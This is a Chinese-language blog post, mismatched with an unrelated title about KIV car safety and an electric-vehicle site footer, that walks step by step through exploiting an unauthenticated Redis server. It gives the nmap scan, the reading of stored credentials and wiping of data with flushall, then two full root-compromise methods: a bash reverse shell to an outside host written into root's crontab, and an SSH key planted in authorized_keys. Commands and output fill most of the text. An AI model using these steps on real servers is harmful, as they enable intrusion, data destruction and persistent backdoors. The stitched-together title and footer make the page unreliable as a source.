kiv车安全性好吗?kiv汽车有安全认证吗?,

著名的Redis未授权漏洞是如何被利用的,来看看我的复现

1、扫描是第一步

黑 客第一步是通过扫描软件扫到的6380端口,那么怎么扫服务器和对应的端口呢,有个常用的工具:nmap,很强大的一个网络扫描和嗅探工具包,具体用法不做介绍,先看一个例子:

# nmap -A -p 6380 -script redis-info 182.16.21.32Starting Nmap 6.40 ( http://nmap.org ) at 2018-10-19 15:02 CSTNmap scan report for 182.16.21.32Host is up (0.00058s latency).PORT     STATE SERVICE VERSION6380/tcp open  redis   Redis key-value store| redis-info: |   Version            3.2.12|   Architecture       64 bits|   Process ID         3020|   Used CPU (sys)     0.19|   Used CPU (user)    0.09|   Connected clients  1|   Connected slaves   0|   Used memory        6794.34K|_  Role               masterMAC Address: 18:20:37:AC:B2:73 (Cadmus Computer Systems)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portAggressive OS guesses: Linux 2.6.32 - 3.9 (96%), Netgear DG834G WAP or Western Digital WD TV media player (96%), Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6) (94%), Linux 2.6.32 - 2.6.35 (94%), Linux 2.6.32 - 3.2 (94%), Linux 3.0 - 3.9 (93%), Linux 2.6.32 - 3.6 (93%)No exact OS matches for host (test conditions non-ideal).Network Distance: 1 hopTRACEROUTEHOP RTT      ADDRESS1   ... 23   6.94 ms  21.220.129.14   34.80 ms 21.220.129.1375   1.82 ms  21.200.0.2546  ... 89   28.08 ms 103.216.40.4310  ...11  40.72 ms 211.153.11.9012  ... 1415  31.09 ms 182.16.21.32OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 21.56 seconds

看到nmap的威力了吧,一个简单的nmap扫描,把182.16.21.32的6380端口扫的体无完肤,redis的版本,进程ID,CPU信息,redis角色,操作系统类型,MAC地址、路由状态等等信息尽收眼底。

上面这个例子是扫描一个ip,nmap更强大的是可以扫描给定的任意IP段,所有可以嗅探到的主机以及应用信息,都能扫描输出。

有了上面的输出信息,基本可以断定,这个redis是有验证漏洞的,下面攻 击就可以进行了。

2、尝试登录redis获取敏感信息

nmap扫描后发现主机的6380端口对外开放,就可以用本地Redis客户端远程连接服务器,连接后就可以获取Redis敏感数据。来看下面的操作:

# redis-cli  -h 182.16.21.32 -p 6380 182.16.21.32:6380> info# Serverredis_version:3.2.12redis_git_sha1:00000000redis_git_dirty:0redis_build_id:3dc3425a3049d2efredis_mode:standaloneos:Linux 3.10.0-862.2.3.el7.x86_64 x86_64arch_bits:64multiplexing_api:epollgcc_version:4.8.5process_id:3020run_id:d2447e216a1de7dbb446ef43979dc0df329a5014tcp_port:6380uptime_in_seconds:2326uptime_in_days:0hz:10lru_clock:13207997executable:/root/redis-serverconfig_file:/etc/redis.conf

可以看到Redis的版本和服务器上内核版本信息,还可以看到Redis配置文件的绝对路径.

继续操作,看看key信息及其对应的值:

182.16.21.32:6380> keys *1) "user"2) "passwd"3) "msdb2"4) "msdb1"5) "msdb3"182.16.21.32:6380> get user"admin"182.16.21.32:6380> get passwd"mkdskdskdmk"182.16.21.32:6380> 

都没问题的,来点删除操作看看:

182.16.21.32:6380> del user(integer) 1182.16.21.32:6380> keys *1) "passwd"2) "msdb2"3) "msdb1"4) "msdb3"182.16.21.32:6380> flushallOK182.16.21.32:6380> keys *(empty list or set)182.16.21.32:6380> 

能查,能删,del key名称,可以删除键为key的数据,flushall删除所有的数据。

3、尝试从redis植入信息

从redis漏洞植入数据到操作系统的方式有很多种,这里介绍两种。

(1)、反弹shell注入crontab

首先在远端任意一个客户端监听一个端口,端口可以随意指定,这里指定一个39527端口:

# nc -l 39527

这样,39527在client189主机上已经监听起来了。

接着,在另一个客户端通过redis-cli连接上182.16.21.32的6380端口,来看下面操作:

# redis-cli  -h 182.16.21.32 -p 6380 182.16.21.32:6380> set abc "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/222.216.18.31/39527 0>&1\n\n"OK182.16.21.32:6380> config set dir /var/spool/cronOK182.16.21.32:6380> config set dbfilename rootOK182.16.21.32:6380> saveOK

简单执行上面四个步骤的操作后,反弹shell已经被植入到了操作系统的crontab中了。是不是太简单了。

现在回到client189这个客户端上来,等待一分钟后,此终端会自动进入到shell命令行,注意看,这个进入的shell就是182.16.21.32主机了。

# nc -l 39527# ifconfig|grep eth0eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 182.16.21.32  netmask 255.255.255.0  broadcast 182.16.21.255        inet6 fe80::a00:27ff:feac:b073  prefixlen 64  scopeid 0x20<link>        ether 08:00:27:ac:b0:73  txqueuelen 1000  (Ethernet)        RX packets 17415571  bytes 20456663691 (19.0 GiB)        RX errors 0  dropped 156975  overruns 0  frame 0        TX packets 2379917  bytes 2031493944 (1.8 GiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

看到了吧,顺利进入redis服务器了,还是root用户,接下来你想干什么,都行。

最后,解释下上面植入的那个反弹shell和redis命令。先看这个反弹shell的内容:

 /bin/bash -i>& /dev/tcp/222.216.18.31/39527 0>&1

首先,“bash -i”是打开一个交互的bash,这个最简单。

其次,/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

接着,“>&”其实和“&>”是一个意思,都是将标准错误输出重定向到标准输出。

最后,“0>&1”和“0<&1”也是一个意思,都是将标准输入重定向到标准输出中。

你要问这个0、1、2是什么意思吗,那我也解释下吧,在linux shell下,常用的文件描述符有如下三类:

(1)标准输入 (stdin) :代码为0,使用 < 或 << ;
(2)标准输出 (stdout):代码为1,使用 > 或 >> ;
(3)标准错误输出(stderr):代码为2,使用 2> 或 2>>。

好了,基础普及完了,说下上面这个反弹shell的意思吧。综上所述,这句反弹shell的意思就是,创建一个可交互的bash和一个到222.216.18.31:39527的TCP链接,然后将bash的输入、输出错误都重定向到222.216.18.31的39527监听端口上。其中,222.216.18.31就是我的客户端主机地址。

下面再看几个redis命令的含义:

config set dir /var/spool/cron
表示设置redis的备份路径为/var/spool/cron。

config set dbfilename root
设置本地持久化存储数据库文件名,这里是root。

save
表示将保存设置,也就是将上面的配置写入磁盘文件/var/spool/cron/root中。

看到了吧,这三个redis指令,无形中就将反弹shell写入了系统计划任务中了。这个计划任务的策略是每隔一分钟执行一次这个反弹shell。而一旦反弹shell成功执行,在远端监听的端口就可以直接连入redis服务器了。

(2)、写入ssh公钥进行无密码登录操作系统

上面那个反弹shell植入方式稍微麻烦,其实还有更简单的方式,通过将客户端公钥写入redis服务器上的公钥文件authorized.keys即可,简单、省心。

如何做呢,思路就是在redis中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改redis的默认存储路径为/root/.ssh和默认的公钥文件authorized.keys,把缓冲的数据保存在这个文件里,这样就可以在redis服务器的/root/.ssh下生一个授权的key,实现无密码登录,来看看具体的操作吧:

首先在任意一个客户端主机上生成一个key:

# ssh-keygen Generating public/private rsa key pair.Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa.Your public key has been saved in /root/.ssh/id_rsa.pub.The key fingerprint is:7f:4b:c1:1d:83:00:2f:bb:da:b5:b5:e3:76:23:6a:77 root@client200The key's randomart image is:+--< RSA 2048>----+|        ...      ||         . . .   ||        . . . o  ||         o . . o ||        S   o .  ||         o   .   ||        . o +    ||       o ..==oE  ||      . ..o=+= . |+-----------------+

接着,将公钥导入key.txt文件(前后用\n换行,是为了避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:

# cd /root/.ssh/# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt# cat /root/.ssh/key.txt | ./redis-cli -h 182.16.21.32 -x set abcOK

最后,从客户端主机登录到redis命令行,执行如下操作:

# redis-cli -h 182.16.21.32 -p 6380182.16.21.32:6380> keys *1) "abc"182.16.21.32:6380> get abc"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDIr/VD1C243FuDx2UNpHz0CbN+nln9WQPEnsCH6OVL2cM/MkqKivTjb8KLgb85luR/AQPu4j2eZFBDz8uevaqKZp28NoTjwLTikju+CT1PVN/OVw1Uouu1YEdFMcvYXG4ww9hQm75374NkO6x8+x5biDNzWAtiw3M+bX+bef0SW3n/JYfVMKvxmYpq5fqXwUqxptzr85Sy8EGrLNlgsRNsnJ0XtprAsNHdx8BJoR7/wZhknbIr2oEXEpPjg6U9YIaqdMRRcgSjuosH8UW4wOBvX9SAvpHjRtJB1ECKPycaXUIBhsDyCO2uJ4syY1xTKQTFeoZepl6Im5qn8t root@client200\n\n\n\n"182.16.21.32:6380> config set dir /root/.sshOK182.16.21.32:6380> config set dbfilename authorized_keysOK182.16.21.32:6380> config get dir1) "dir"2) "/root/.ssh"182.16.21.32:6380> saveOK

从redis命令行可以看出,刚才的key abc已经写入,写入的内容就是id_rsa.pub公钥的内容。然后通过将redis的备份路径修改为/root/.ssh,本地持久化存储数据文件设置为authorized_keys,其实就是创建了/root/.ssh/authorized_keys文件,并将id_rsa.pub内容写入了authorized_keys文件中。

到此为止,公钥已经成功植入到了redis服务器上。接下来,就可以在客户端主机上无密码登录了,来试一下:

# ssh 182.16.21.32Last login: Fri Oct 19 17:29:01 2018 from 222.216.18.31# ifconfigeth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 182.16.21.32  netmask 255.255.255.0  broadcast 182.16.21.255        inet6 fe80::a00:27ff:feac:b073  prefixlen 64  scopeid 0x20<link>        ether 08:00:27:ac:b0:73  txqueuelen 1000  (Ethernet)        RX packets 17433764  bytes 20458295695 (19.0 GiB)        RX errors 0  dropped 157673  overruns 0  frame 0        TX packets 2383520  bytes 2031743086 (1.8 GiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

可以看到不用密码就可以直接远程登录redis系统,那么再来看看redis服务器上被写入的/root/.ssh/authorized_keys文件的内容:

# cat /root/.ssh/authorized_keys REDIS0007dis-ver3.2.12edis-bitsctime

在authorized_keys文件里可以看到redis的版本号,以及写入的公钥和一些缓冲的乱码。

好啦,redis服务器已经成功被植入后 门,接下来,你可以做你想做的任意事情了。

事故出于麻痹,安全来于警惕,让我们用这句话来结束本文吧!

2024-05-02

后面没有了,返回>>电动车百科